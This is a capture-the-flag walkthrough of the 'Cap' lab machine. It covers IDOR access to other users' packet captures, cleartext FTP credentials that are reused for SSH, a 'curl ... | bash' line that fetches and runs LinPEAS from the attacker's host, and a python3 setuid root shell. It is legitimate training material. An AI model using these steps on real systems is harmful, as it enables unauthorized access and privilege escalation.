Context
The Cap machine challenges users with a misconfigured Linux environment where a web-based administrative interface exposes functionality for network packet captures. A critical flaw in object access control—specifically an IDOR vulnerability—allows attackers to retrieve capture files belonging to other users. Within one such capture, sensitive credentials are found in cleartext, providing a straightforward path to initial system access. From there, the machine is rooted by taking advantage of an improperly assigned Linux capability that grants elevated privileges.
Initial Enumeration
First, we perform a quick scan of the target machine using
Nmap to identify open ports and services. The
command output reveals three open ports: 21
,
22
and 80
:
$ nmap -sV 10.10.10.245
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open http Gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Checking the web server on port 80
, we find a
Gunicorn server running a web application. Browsing
the site, we discover a dashboard with a Security Snapshot menu. This
menu allows us to download packet capture files from the server. If
we check a little bit more, changing the URL to
http://10.10.10.245/data/0, we can see:

Downloading the file named 0
gives us a
0.pcap
capture file, which contains network data from
other users. This exposure is due to an
Insecure Direct Object Reference (IDOR)
vulnerability, which allows unauthorized access to files that should
be restricted.
Foothold
After downloading the 0.pcap
file, we open it in
Wireshark to analyze the network traffic. By
filtering for FTP packets, we observe that the traffic is not
encrypted, allowing us to retrieve plaintext credentials: username
nathan and password
Buck3tH4TF0RM3!. These credentials are valid not
only for FTP but can also be used to gain access
via SSH.

We can use the SSH protocol to connect to the target machine using the leaked credentials with the following command:
$ ssh nathan@10.10.10.245
password: Buck3tH4TF0RM3!
After gaining access to the machine, we can get the user flag
located in the /home/nathan
directory.
Privilege Escalation
After obtaining the user flag, we proceed to escalate our privileges to root. For this task we can use the LinPEAS script, which helps us identify potential privilege escalation vectors. Since we haven't got permissions to execute linPEAS directly in the target machine, we can open a webserver in our local machine using Python as follows:
$ sudo python3 -m http.server
From our shell on the target machine, we can directly fetch linpeas.sh and pipe the output into bash.
$ curl http://{our_local_machine_ip}/linpeas.sh | bash
Before continuing, we must understand that LinPEAS is a comprehensive Linux enumeration script that gathers system information to identify potential privilege escalation vectors. It checks for kernel and OS details, SUID/SGID binaries, insecure permissions, environment variables, scheduled tasks (cron/systemd), vulnerable software versions, network services, readable sensitive files (like config or credential files), misconfigured sudo rules, and Docker group access. It highlights exploitable configurations or binaries and cross-references them with known exploitation techniques (e.g., GTFOBins), helping users pinpoint weaknesses that may lead to root access. For these reasons, it is a very useful tool for pentesters and we must be patient and try to understand the output.
After the execution we can see that the setuid bit
is set on the /usr/bin/python3.8
binary. This means
that any user can execute this binary with root privileges. We can
exploit this by running the following command:
>> import os
>> os.setuid(0)
>> os.system("/bin/bash")
This command imports the os module, sets the user
ID to 0 (root), and then executes a bash shell with root privileges.
After executing this command, we can find the root flag in the
/root
directory.